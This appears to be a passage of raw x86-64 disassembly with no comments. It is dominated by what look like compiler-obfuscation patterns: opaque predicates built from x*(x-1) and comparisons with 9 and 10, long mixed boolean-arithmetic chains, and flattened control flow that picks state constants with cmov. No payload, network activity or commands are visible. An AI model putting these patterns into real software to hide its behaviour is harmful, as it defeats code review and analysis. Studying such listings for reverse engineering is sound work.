mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov eax, r10d
xor al, r9b
and al, r10b
mov edx, ecx
or dl, al
xor al, 1
or al, r8b
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x52546e26
mov ebp, 0x6940410
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0x52546e26
jmp 0x14015d285
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x35bb388
mov ecx, ebp
and ecx, 0xc0004c11
or ecx, edx
xor ecx, 0xc0004c11
mov edx, ebp
and edx, 0x3ca40066
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3ca40067
and edx, 0xc35bff98
or edx, ecx
and ebx, 0x9e042aca
and ebp, 0x61fbd535
or ebp, ebx
mov ecx, ebp
xor ecx, 0x525030
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x7da9878f
and edx, 0x82567870
or edx, ebx
xor ebp, 0x1c00028a
and ebp, 0x7da9878f
and ecx, 0x82567870
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
and r8b, bl
or bl, dl
xor bl, 1
and al, dl
or al, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x561a460f
mov ecx, 0xb892e76e
cmovne ebp, ecx
test dl, 1
mov ecx, 0x561a460f
cmovne ecx, ebp
test al, 1
jmp 0x14015d6e4
mov ecx, dword [0x1402656d8]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x3d8c798e
mov ecx, edx
and ecx, 0xc2738670
or ecx, eax
xor ecx, 0xc2738670
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0xa244405
and ecx, 0xf5dbbbfa
or ecx, ebx
or eax, edx
and edx, 0xa244405
and ebp, 0xf5dbbbfa
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete r8b
setne bl
cmp dword [0x1402656d4], 0xa
setl cl
mov eax, ecx
xor al, bl
not al
and al, bl
or bl, cl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, ecx
or dl, r8b
xor dl, 1
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xafd9117d
mov ebp, 0x43d3085
cmovne eax, ebp
test cl, 1
mov ecx, 0xafd9117d
jmp 0x140159071
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xc220
and edx, 0x9950045a
or edx, ecx
mov ebx, edx
xor ebx, 0x81400418
xor edx, 0x24073224
or ebp, 0x9950c67a
mov ecx, ebp
not ecx
and edx, 0x3c173266
and ebx, 0x8140c418
or ebx, edx
and ebp, 0x3c173266
and ecx, 0x42a80981
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x66af3985
and ecx, 0x9950c67a
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x50699a9
and edx, ecx
and ecx, 0xfaf96656
or ecx, ebp
xor ecx, 0xfaf96656
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0x3f48dd67
and edx, 0xc0b72298
or edx, ecx
xor edx, 0xc0b72298
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor bl, al
and bl, al
mov ecx, r8d
xor cl, bl
mov edx, ecx
and dl, r8b
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
or dl, r8b
xor al, r8b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov r9d, ecx
and r9b, r8b
and al, dl
mov ebx, r9d
xor bl, 1
xor r9b, cl
or bl, r8b
xor bl, 1
or bl, r9b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
xor al, bl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x8159bbfa
mov edx, 0x4b1a20af
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x8159bbfa
jmp 0x14015cf0e
mov ecx, 0x49345b9a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x6172edbf
and ebx, 0x9e8d1240
or ebx, edi
or ecx, ebp
and ebp, 0x6172edbf
and edx, 0x9e8d1240
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0xdb10e00d
and edx, ecx
not ecx
and ecx, 0xdb10e00d
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x24ef1ff2
and edx, 0xdb10e00d
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x903a3dc9
and ecx, 0x6fc5c236
or ecx, edx
xor ecx, 0x6fc5c236
setne r8b
sete bl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
mov eax, r9d
xor al, bl
xor al, 1
or al, r9b
mov r10d, eax
xor r10b, 1
and bl, r9b
and dl, r8b
or dl, bl
mov ebx, edx
xor bl, 1
and dl, bl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
and r10b, dl
xor dl, 1
and dl, al
or dl, r10b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xbc7813f2
mov ecx, 0xf1feabf8
cmovne eax, ecx
test bl, bl
mov ecx, 0xbc7813f2
jmp 0x140159071
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea esi, [rdx - 1]
imul esi, edx
mov ecx, esi
not ecx
mov ebx, ecx
or ebx, 0xf89fed18
mov edx, ebx
not edx
mov ebp, esi
or ebp, 0x44010e2
and ebp, 0x94dd79ea
mov edi, ecx
and edi, 0x68028410
or edi, ebp
and ebx, 0x94dd79ea
and edx, 0x3200205
or edx, ebx
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x87a01e77
and edx, 0x785fe188
or edx, ebp
mov ebp, edx
xor ebp, 0x80c00c91
xor edx, 0x631b9028
and ecx, 0x1de28601
and esi, 0xe21d79fe
or esi, ecx
mov ecx, esi
xor ecx, 0xe21918a8
xor esi, 0x1de28601
mov ebx, ebp
and ebx, 0x1c246757
and edx, 0xe3db98a8
or edx, ebx
or ebp, esi
and esi, 0x1c246757
and ecx, 0xe3db98a8
or ecx, esi
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x7339f3c3
and ebp, 0x8cc60c3c
or ebp, ecx
xor ebp, 0x8cc60c3c
sete bl
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
and cl, bl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov edx, eax
xor dl, bl
not dl
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r10d, eax
xor r10b, 1
mov ebx, r8d
and bl, cl
xor bl, 1
mov r9d, ebx
xor r9b, cl
or bl, cl
xor bl, 1
or bl, r9b
mov edx, ebx
xor dl, 1
and dl, al
and bl, r10b
or bl, dl
xor r10b, cl
or al, r8b
xor al, 1
or al, r10b
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xb671ddf8
mov edx, 0x2cc469a5
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0xb671ddf8
jmp 0x14014f72e
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
or ecx, 0x6154326d
mov ebp, ecx
not ebp
or edx, 0x9eabcd92
mov eax, edx
not eax
and ecx, 0x361a0c90
and ebp, 0x88a1c102
or ebp, ecx
and edx, 0x361a0c90
and eax, 0x4144326d
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x931f712b
and eax, 0x6ce08ed4
or eax, ecx
mov edx, eax
xor edx, 0xdb4bcb9
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0xc9d3c6ed
and ebp, 0x362c3912
or ebp, ebx
or ecx, edx
and edx, 0xc9d3c6ed
and eax, 0x362c3912
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa51c1b81
and eax, ecx
and ecx, 0x5ae3e47e
or ecx, edx
xor ecx, 0x5ae3e47e
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
sete al
setne r8b
cmp dword [0x1402656d4], 0xa
setl cl
mov edx, ecx
xor dl, r8b
xor dl, 1
mov ebx, ecx
or bl, al
xor bl, 1
or bl, dl
xor bl, 1
or r8b, cl
xor al, cl
and al, cl
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
xor al, bl
mov edx, eax
xor dl, 1
and bl, dl
xor dl, bl
test al, 1
mov ecx, 0xe7502fee
mov eax, 0x2cd0e451
cmovne ecx, eax
test bl, bl
mov ebp, 0xe7502fee
cmove ecx, ebp
jmp 0x14015cf0b
mov rsi, qword [rsp + 0x30]
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x288818
and ebx, 0x48110421
or ebx, ebp
mov edi, ebx
xor edi, 0x40100421
xor ebx, 0xb268a382
or edx, 0x48398c39
mov ebp, edx
not ebp
and ebx, 0xba69a382
and edi, 0x40100c39
or edi, ebx
and edx, 0xba69a382
and ebp, 0x5865044
or ebp, edx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0xb7c673c6
and ebp, 0x48398c39
or ebp, edx
mov edx, ebp
not edx
mov edi, edx
and edi, 0xcad07e91
mov ebx, ebp
and ebx, 0x352f816e
or ebx, edi
mov edi, ebx
not edi
and edi, 0xd638f702
and ebx, 0x29c708fd
or ebx, edi
xor ebx, 0xe317766d
and ebp, 0x3e0ba044
mov edi, edx
and edi, 0xc1f45fbb
or edi, ebp
xor edi, 0x3e0ba045
and edx, 1
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xa05a2fbc
and edx, 0x5fa5d043
or edx, ebp
xor edx, 0x5fa5d043
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
mov ebx, edx
xor ebx, 0xae3f77c2
and ebx, edx
or edx, 0x51c0883d
mov edi, edx
and edi, 0x7ac5f5d0
and ebp, 0x843a0202
or ebp, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0x7ac5f5d0
and ebx, 0x853a0a2f
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xdbd1ff17
and edx, 0x242e00e8
or edx, ebp
mov ebp, edx
xor ebp, 0x3200
xor edx, 0x21448845
and edx, 0xab55cd6f
and ebp, 0x54aa3290
or ebp, edx
mov edx, ebp
xor edx, 0x448a1000
xor ebp, 0x8041400e
and ebp, 0x9061629e
and edx, 0x6f9e9d61
or edx, ebp
xor edx, 0x6f9e9d61
sete dl
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
xor bl, cl
or al, dl
xor al, 1
or al, bl
mov ebx, eax
not bl
xor dl, cl
mov ecx, edx
not cl
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ebx, eax
xor bl, dl
test dl, dl
mov ecx, 0xdca5761e
mov edx, 0xa5cca4d3
cmovne ecx, edx
test al, al
mov eax, 0xdca5761e
cmovne ecx, eax
mov qword [rsp + 0x38], rsi
test bl, bl
jmp 0x14015d4cb
mov rax, qword [rsp + 0x30]
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xd07ef537
and ecx, edx
not edx
and edx, 0xd07ef537
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x2f810ac8
and ecx, 0xd07ef537
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x456e0097
and ecx, 0xba91ff68
or ecx, ebp
mov esi, ecx
xor esi, 0xba91ff68
mov edi, ecx
xor edi, 0x5a894f13
and edi, esi
or edx, 0x1fe74f84
mov ebx, edx
not ebx
mov ebp, edi
not ebp
mov eax, ebp
and eax, 0xb3d80e3b
and edi, 0x4c27f1c4
or edi, eax
or ebp, edx
and edx, 0xb3d80e3b
and ebx, 0x4000b040
or ebx, edx
xor ebx, edi
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0xe018b07a
and ebp, 0x1fe74f85
or ebp, eax
xor ecx, 0x45660004
and ecx, 0x6de7486c
mov eax, esi
and eax, 0x9218b793
or eax, ecx
xor eax, 0x6de7486d
and esi, 1
or esi, eax
mov eax, esi
not eax
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x81c14713
and ebp, 0x7e3eb8ec
or ebp, edx
or ecx, esi
and esi, 0x81c14713
and eax, 0x7e3eb8ec
or eax, esi
xor eax, ebp
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x6ef185ea
and edx, ecx
and ecx, 0x910e7a15
or ecx, eax
mov eax, ecx
xor eax, 0x11044815
xor ecx, 0x6ef185ea
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xac0b3220
and eax, 0x53f4cddf
or eax, ebx
or ecx, ebp
and ebp, 0xac0b3220
and edx, 0x53f4cddf
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x25832cc
and ecx, 0xfda7cd33
or ecx, edx
xor ecx, 0xfda7cd33
or ecx, eax
cmp ecx, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov eax, r10d
xor al, r9b
and al, r10b
mov ebx, ecx
or bl, al
xor al, 1
or al, dl
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
and r9b, dl
and cl, r10b
or cl, r9b
mov ebx, edx
xor bl, r10b
or dl, r10b
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
mov r9d, eax
xor r9b, 1
mov ebx, r9d
and bl, al
mov edx, r8d
and dl, cl
mov r10d, r9d
and r10b, bl
xor bl, r9b
or bl, r10b
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
xor dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5215ff5
mov ebp, 0xe16a39da
cmovne eax, ebp
test cl, 1
mov ecx, 0x5215ff5
cmovne ecx, eax
jmp 0x14015cf0b
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x3dc60875
and edx, 0xc239f78a
or edx, ebp
mov ecx, edx
xor ecx, 0x3dc60875
xor edx, 0xc239f78a
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe8acf78d
and ebp, 0x17530872
or ebp, edi
or ecx, ebx
and ebx, 0xe8acf78d
and edx, 0x17530872
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x483fc48d
and ecx, 0xb7c03b72
or ecx, ebp
xor ecx, 0xb7c03b72
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r10b
and al, bl
mov edx, eax
xor dl, 1
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, r9b
xor dl, 1
and r8b, r10b
or r10b, r9b
xor r10b, 1
and bl, r9b
or bl, r8b
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
mov eax, edx
or al, bl
xor bl, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x839817ca
mov ecx, 0x11602b84
cmovne edx, ecx
test bl, 1
mov ecx, edx
mov ebp, 0x839817ca
cmovne ecx, ebp
jmp 0x14015b654
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfcabf227
and edx, ebp
not ebp
and ebp, 0x438cccdc
and ecx, 0xbc733323
or ecx, ebp
mov ebp, ecx
xor ebp, 0x10013021
xor ecx, 0x4088c004
or ecx, 0x3540dd8
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xada6421a
and ebp, 0x5009b025
or ebp, edi
or ecx, ebx
and ebx, 0xada6421a
and edx, 0x5259bde5
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3540dd8
and ecx, 0xfcabf227
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x9ffd30ac
and ecx, 0x6002cf53
or ecx, edx
mov ebx, ecx
xor ebx, 0x20000940
mov edx, ebp
not edx
xor ecx, 0x9ffd30ad
mov edi, edx
and edi, 0xcd2fe617
and ebp, 0x32d019e8
or ebp, edi
or edx, ecx
and ecx, 0xcd2fe617
and ebx, 0x32d019e8
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xf7d02eb8
and ecx, edx
and edx, 0x82fd147
or edx, ebp
xor edx, 0x82fd147
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfea49f4d
and edx, 0x15b60b2
or edx, ebp
xor edx, 0x15b60b2
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
and bl, dl
and r8b, al
xor al, dl
or al, bl
mov r9d, eax
xor r9b, 1
and cl, dl
or cl, r8b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
and r9b, dl
xor dl, 1
and dl, al
or dl, r9b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xdeefdbb
mov ebp, 0x9a6ffecf
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0xdeefdbb
jmp 0x14015cf0e
mov ecx, dword [0x1402656d8]
lea eax, [rcx - 1]
imul eax, ecx
mov esi, eax
not esi
mov ebp, eax
xor ebp, 0xfffffffe
and ebp, eax
mov ecx, eax
or ecx, 1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x2c70321b
mov edx, esi
and edx, 0xd38fcde4
or edx, edi
or ecx, ebx
and ebx, 0x2c70321b
and ebp, 0xd38fcde4
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x43ca47ff
and ecx, 0xbc35b800
or ecx, edx
xor ecx, 0xbc35b800
and esi, 0xa4910443
and eax, 0x5b6efbbc
or eax, esi
xor eax, 0x5b6efbbc
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x388de7c4
and eax, 0xc772183b
or eax, ecx
xor eax, 0xc772183b
setne al
cmp dword [0x1402656d4], 9
setg bl
mov ecx, ebx
and cl, al
xor bl, al
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
xor al, bl
mov ecx, edx
xor cl, bl
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xb9449f46
mov edx, 0x91c969bf
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0xb9449f46
jmp 0x14015cf0e
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x3001020
mov ebp, ebx
and ebp, 0xc8a8e1b
or ebp, edx
xor ebp, 0xc8a8e1b
mov edx, ebx
xor edx, 0xf8a9e3b
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xf07561c5
and edx, 0xf8a9e3a
or edx, ebp
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x45054e13
and edx, 0xbafab1ec
or edx, edi
and ebx, 0x45054e13
and ecx, 0xbafab1ec
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ebp, 0xe79b3b0e
mov ecx, 0x206dcb7e
cmovne ebp, ecx
test al, 1
mov ecx, 0xe79b3b0e
cmovne ecx, ebp
jmp 0x14015d380
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x6a10b01f
and ecx, 0x95ef4fe0
or ecx, ebp
xor ecx, 0x95ef4fe0
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
xor al, dl
and al, bl
and cl, r8b
and bl, dl
or bl, cl
mov edx, eax
xor dl, 1
mov ecx, ebx
xor cl, 1
or cl, dl
xor al, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, edx
not al
and al, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xe35d563a
mov edx, 0x49345b9a
cmovne ecx, edx
test al, al
mov eax, 0xe35d563a
cmove ecx, eax
jmp 0x14015bdcd
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea esi, [rdx - 1]
imul esi, edx
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0x2864000
mov ecx, esi
and ecx, 0x8d40b001
or ecx, edx
mov edi, ecx
not edi
xor ecx, 0x52af4526
mov ebx, ebp
or ebx, 0x8fc6f001
mov edx, ebx
not edx
and ecx, 0xd2ef4527
and edi, 0xd00b000
or edi, ecx
and ebx, 0xd2ef4527
and edx, 0x20100ad8
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x70390fff
and edx, 0x8fc6f000
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3fe70369
and edx, 0xc018fc96
or edx, ecx
mov ecx, edx
xor ecx, 0xc0109496
and ebp, 0x22b1b804
and esi, 0xdd4e47fb
or esi, ebp
mov ebp, esi
xor ebp, 0xd002049a
xor edx, 0x3fe70369
xor esi, 0x22b1b804
mov ebx, edx
and ebx, 0xf6c6b61
and ecx, 0xf093949e
or ecx, ebx
or edx, esi
and esi, 0xf6c6b61
and ebp, 0xf093949e
or ebp, esi
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xb3b84f2d
and edx, 0x4c47b0d2
or edx, ecx
xor edx, 0x4c47b0d2
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov eax, r11d
xor al, cl
and al, r11b
mov ebx, r9d
or bl, al
xor al, 1
or al, r8b
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r9b, r11b
or r11b, r8b
and cl, r8b
or cl, r9b
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xef308f34
mov ebp, 0xe4b43be8
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xef308f34
jmp 0x14015cf0e
mov rsi, qword [rsp + 0x38]
mov ecx, dword [0x1402656d8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x80a37a88
and edx, 0x4c008400
or edx, ebp
mov ebx, edx
xor ebx, 0xc000400
xor edx, 0x38f6208
or ecx, 0xcca3fe88
mov ebp, ecx
not ebp
and edx, 0x438fe208
and ebx, 0x8c201c80
or ebx, edx
and ecx, 0x438fe208
and ebp, 0x30500177
or ebp, ecx
xor ebp, ebx
mov ecx, ebp
not ecx
and ecx, 0x18b0f7b5
and ebp, 0xe74f084a
or ebp, ecx
mov edx, ebp
xor edx, 0x2becf6c2
mov ecx, ebp
xor ecx, 0x40130900
and ecx, 0x4a577b02
xor ebp, 0x3d3a02f1
and ebp, edx
and edx, 0xb5a884fd
or edx, ecx
mov ebx, edx
xor ebx, 0xb5a884fd
mov ecx, edx
xor ecx, 0x5c818f31
and ecx, ebx
mov edi, ecx
and edi, ebp
xor ebp, ecx
mov ecx, dword [0x1402656d4]
or ebp, edi
mov edi, ebp
not edi
and edi, 0xe9290bcd
and ebp, 0x16d6f432
or ebp, edi
and ebx, 1
xor edx, 0xb5a884fc
or edx, ebx
not edx
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
mov ebx, edx
xor ebx, 0xe5d9d0f4
and ebx, edx
or edx, 0x1a262f0b
mov edi, edx
and edi, 0xd6dcb1f9
and ebp, 0x21014004
or ebp, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0xd6dcb1f9
and ebx, 0x29234e06
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x38123da2
and edx, 0xc7edc25d
or edx, ebp
mov ebp, edx
xor ebp, 0x22101288
xor edx, 0x84c08c56
and ebp, 0x7b1b7388
and edx, 0x84e48c77
or edx, ebp
mov ebp, edx
xor ebp, 0x71023380
xor edx, 0x80840416
and edx, 0x8a9d441e
and ebp, 0x7562bbe1
or ebp, edx
xor ebp, 0x7562bbe1
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
or cl, bl
mov r8d, ecx
xor r8b, 1
xor bl, dl
mov eax, r8d
and al, cl
mov edx, eax
xor dl, 1
xor al, r8b
or dl, cl
xor dl, 1
or dl, al
xor dl, bl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
